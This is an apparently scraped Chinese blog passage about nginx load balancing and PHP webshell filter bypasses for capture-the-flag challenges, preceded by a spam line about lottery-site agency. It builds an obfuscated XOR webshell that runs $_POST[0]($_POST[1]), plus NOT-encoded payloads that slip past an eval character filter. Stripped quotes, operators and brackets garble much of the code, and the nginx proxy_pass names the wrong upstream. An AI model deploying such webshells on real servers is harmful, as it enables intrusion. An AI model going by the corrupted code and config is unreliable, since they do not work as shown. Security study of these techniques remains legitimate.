我被朋友拉进彩票网站说做代理,设计模版网站,长春网页推广有哪些公司,外贸流程图片目录 1.nginx反向代理-负载均衡
1#xff09;搭建web项目
2#xff09;修改 nginx.conf的配置
2.webshell 实践
1#xff09;异或操作绕过
2#xff09;取反绕过
3#xff09;php语法绕过 1.nginx反向代理-负载均衡
1#xff09;搭建web项目
首先通过SpringBoo…目录 1.nginx反向代理-负载均衡
1搭建web项目
2修改 nginx.conf的配置
2.webshell 实践
1异或操作绕过
2取反绕过
3php语法绕过 1.nginx反向代理-负载均衡
1搭建web项目
首先通过SpringBootFreemarker快速搭建一个WEB项目springboot-web-nginx然后在该项目中创建一个IndexNginxController.java文件 Controller public class IndexNginxController { Value(${server.port}) private String port; RequestMapping(/) public ModelAndView index(){ ModelAndView model new ModelAndView(); model.addObject(port, port); model.setViewName(index); return model; } } 在该Controller类中存在一个成员变量port它的值即是从application.properties配置文件中获取server.port值。当出现访问/资源的请求时跳转前端index页面并将该值携带返回
前端的index.ftl文件代码 html head titleNginx演示页面/title link hrefnginx_style.css relstylesheet typetext/css/ /head body div styleborder: 2px solid red;margin: auto;width: 800px;text-align: center div idnginx_title h1欢迎来到熊猫高级会所我是竹子${port}号/h1 /div /div /body /html 2修改 nginx.conf的配置 upstream nginx_boot{ # 30s内检查心跳发送两次包未回复就代表该机器宕机请求分发权重比为1:2 server 192.168.198.128 weight100 max_fails2 fail_timeout30s; server 192.168.198.1 weight200 max_fails2 fail_timeout30s; # 这里的IP请配置成你WEB服务所在的机器IP } server { location / { root html; # 配置一下index的地址最后加上index.ftl。 index index.html index.htm index.jsp index.ftl; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; # 请求交给名为nginx_boot的upstream上 proxy_pass http://nginx_php } } 2.webshell 实践
1异或操作绕过
典型的异或操作绕过PHP中是可以以下划线开头为变量名的所以$_代表名为_的变量 ?php $_; // $_ 1 $__(#^|); // $__ _ $__.(.^~); // _P $__.(/^); // _PO $__.(|^/); // _POS $__.({^/); // _POST ${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]); ? 执行getFlag函数通过GET传参并对code参数进行了字母大小写和数字过滤这道题就可以用异或操作来绕过 ?php include flag.php; if(isset($_GET[code])){ $code $_GET[code]; if(strlen($code)40){ die(Long.); } if(preg_match(/[A-Za-z0-9]/,$code)){ die(NO.); } eval($code); }else{ highlight_file(__FILE__); } //$hint php function getFlag() to get flag; ? 2取反绕过 ?php $a getFlag; echo urlencode(~$a); ? ?code$_~%98%9A%8B%B9%93%9E%98;$_();
%98%9A%8B%B9%93%9E%98这一串字符串先经过urldecode解码后交给后端处理
取反符号将url解码后的字符串转换成了getFlag赋值给$_然后执行拿到flag 3php语法绕过 ?php $aZ; echo $a; //AA echo $a; //AB ? 在处理字符变量的算数运算时PHP 沿袭了 Perl 的习惯而非 C 的。例如在 Perl 中 $a Z; $a; 将把 $a 变成AA而在 C 中a Z; a; 将把 a 变成 [Z 的 ASCII 值是 90[ 的 ASCII 值是 91。注意字符变量只能递增不能递减并且只支持纯字母a-z 和 A-Z。递增递减其他字符变量则无效原字符串没有变化